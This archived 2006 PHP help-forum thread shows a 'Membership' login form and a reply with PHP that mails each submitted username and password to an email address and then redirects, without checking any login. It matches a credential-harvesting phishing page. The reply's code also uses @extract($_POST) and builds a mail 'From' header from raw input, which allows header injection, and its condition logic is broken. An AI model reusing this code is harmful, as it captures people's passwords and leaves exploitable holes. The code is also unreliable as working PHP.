shisamandisa Posted July 17, 2006 Author Share Posted July 17, 2006 Name + Pass = Error.htmlName - Pass = Error.html- Name - Pass = Error.html- Name + Pass = Error.htmlIn other words everything goes to Error.htmlForm:<form name="mail.php" method='POST' action="site.com/mail.php"> <br><div style="text-align:center"><table><tr><td align="center">username:</td><td align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td align="center">password:</td><td align="center"><input size="20" type="password" name="password" maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership" style="background:#4D422E url('style.jpg'); color: white;" class="b"></td></tr></table></form> Link to comment https://forums.phpfreaks.com/topic/14881-simple-enough-question-but-i-really-need-help/page/2/#findComment-59655 Share on other sites More sharing options...
redarrow Posted July 18, 2006 Share Posted July 18, 2006 Your have to use it this way ok mate.<?if((!$username=="none")&&(!$password=="none")){header("Location: error.html");}@extract($_POST);$username=$_POST['username'];$password=$_POST['password'];mail("[email protected]", $username, $password, "From: $username");if(($username)&&($password)){header("Location: header.html");} ?> Link to comment https://forums.phpfreaks.com/topic/14881-simple-enough-question-but-i-really-need-help/page/2/#findComment-59698 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.